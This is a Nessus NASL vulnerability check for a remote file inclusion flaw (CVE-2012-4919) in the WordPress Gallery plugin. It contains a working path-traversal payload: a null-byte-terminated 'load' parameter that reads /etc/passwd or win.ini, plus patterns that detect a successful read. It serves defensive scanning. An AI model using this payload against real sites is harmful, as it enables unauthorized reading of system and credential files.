Gallery Plugin for WordPress 'load' Parameter Remote File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(64556);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/05");

  script_cve_id("CVE-2012-4919");
  script_bugtraq_id(57650);

  script_name(english:"Gallery Plugin for WordPress 'load' Parameter Remote File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file inclusion vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Gallery Plugin for WordPress installed on the remote host is
affected by a remote file inclusion vulnerability because it fails to
properly sanitize user-supplied input to the 'load' parameter of the
'update_order.php' script. This vulnerability allows an
unauthenticated, remote attacker to view arbitrary files or execute
arbitrary PHP code, possibly taken from third-party hosts, on the
remote host.");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/01/31");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/02/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

# Verify Plugin is installed
plugin = 'Gallery';
# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  path = "/wp-content/plugins/";
  checks[path + "wordpress-gallery/js/wordpress-gallery.js"][0] =
    make_list('function showhidepagercontents\\(\\)');

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('windows/win.ini', 'winnt/win.ini');
  else files = make_list('etc/passwd');
}
else files = make_list('etc/passwd', 'windows/win.ini', 'winnt/win.ini');

file_pats = make_array();
file_pats['etc/passwd'] = "root:.*:0:[01]:";
file_pats['winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

foreach file (files)
{
  attack =  mult_str(str:"../", nb:12) + file;
  url = "/wp-content/plugins/wordpress-gallery/functions/update_order.php"+
    "?load=" + attack + "%00";

  res = http_send_recv3(
    method    : "GET",
    item      : dir + url,
    port         : port,
    exit_on_fail : TRUE
  );
  body = res[2];

   # Check for errors
  error_returned = FALSE;
  if (
    !isnull(body) &&
    (
      # magic_quotes_gpc
      (attack + '\\0/wp-load.php): failed to open stream:' >< body) ||
      (attack + '\\0/wp-load.php) [function.' >< body) ||
      (attack + '\\0/wp-load.php'+") [<a href='function." >< body) ||
      # open_basedir
      ("Failed opening required '" + attack >< body) ||
      ("open_basedir restriction in effect. File(" + attack >< body)
    )
  ) error_returned = TRUE;
  pat = file_pats[file];

  if ((body =~ pat) || (error_returned))
  {
    if (report_verbosity > 0)
    {
      snip =  crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      if (error_returned)
      {
        report =
          '\nNessus was not able to exploit the issue, but was able to verify'+
          ' it' + '\nexists by examining the error message returned from the' +
          ' following' + '\nrequest :' +
          '\n' +
          '\n' + install_url + url +
          '\n';
      }
      else
      {
        report =
          '\nNessus was able to exploit the issue to retrieve the contents of '+
          '\n'+ "'" + file + "'" + ' using the following request :' +
          '\n' +
          '\n' + install_url + url +
          '\n';
      }
      if (report_verbosity > 1)
      {
        body = data_protection::redact_etc_passwd(output:body);
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + snip +
          '\n' + chomp(body) +
          '\n' + snip +
          '\n';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");